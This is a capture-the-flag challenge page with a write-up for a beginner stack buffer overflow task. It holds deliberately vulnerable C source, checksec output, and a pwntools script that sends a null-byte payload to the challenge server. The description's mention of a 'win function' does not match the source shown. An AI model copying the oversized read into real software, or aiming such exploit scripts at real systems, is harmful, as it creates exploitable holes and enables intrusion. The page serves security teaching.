0x00000000
← pwndbg> back

./Warmup_

PWN MOJO-JOJO CTF 0x468bfe2b by r3t0x
DESCRIPTION
A beginner-friendly buffer overflow warmup. Smash the stack, overwrite the return address, and redirect execution to the win function. No protections, no tricks — just raw overflow.
DISASM // SOURCE
// main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void vuln() {
    char buffer[64];
    
    printf("Welcome to the warmup challenge!\n");
    printf("Enter your input: ");
    fflush(stdout);
    
    int n = read(0, buffer, 200);
    
    // Check that all bytes read are null (only check up to buffer size or n, whichever is smaller)
    int check_size = (n < 64) ? n : 64;
    for (int i = 0; i < check_size; i++) {
        if (buffer[i] != 0) {
            exit(1);
        }
    }
    
    printf("Good job!\n");
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    vuln();
    system("cat flag.txt");
    return 0;
}
WRITEUP // WALKTHROUGH

Warmup — Writeup

Challenge Overview

Field Value
Category PWN
Difficulty Easy
Author r3t0x
Technique Null-Byte Buffer Overflow

Reconnaissance

pwndbg> checksec ./main
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The binary has no stack canary and no PIE, making it a straightforward stack-based challenge.

Source Code Analysis

The vuln() function allocates a 64-byte buffer but reads 200 bytes — a classic buffer overflow:

char buffer[64];
int n = read(0, buffer, 200);

However, there's a twist: the binary validates that all bytes in the buffer are null (0x00):

for (int i = 0; i < check_size; i++) {
    if (buffer[i] != 0) {
        exit(1);
    }
}

The key insight is that check_size is limited to min(n, 64) — it only checks the first 64 bytes. The overflow bytes beyond position 64 are never validated.

After vuln() returns, main() calls system("cat flag.txt") — so we simply need vuln() to return normally.

Exploitation Strategy

  1. Send 80 null bytes (0x00 * 80)
  2. The first 64 bytes pass the validation check
  3. The remaining 16 bytes overflow past the buffer but are all nulls
  4. Since read() doesn't need a newline, the null bytes don't terminate early
  5. vuln() returns normally → system("cat flag.txt") executes

Exploit Code

from pwn import *

payload = b'\x00' * 80

io = remote('4.233.210.175', 9001)
io.recvuntil(b'input: ')
io.send(payload)
io.interactive()

Result

$ python3 solver.py
[+] Opening connection: Done
[*] Switching to interactive mode
Good job!
MOJO-JOJO{w4rmup_n0_pr0bl3m}
EXECUTION // EXPLOIT
$ python3 solve.py
from pwn import *

payload = b'\x00' * 80
print(f"Payload length: {len(payload)}")
print(f"All bytes are null: {all(b == 0 for b in payload)}")

#io = process('./main')
io = remote('4.233.210.175',9001)
io.recvuntil(b'input: ')  # Wait for prompt
io.send(payload)
time.sleep(0.1)  # Give it time to process
io.interactive()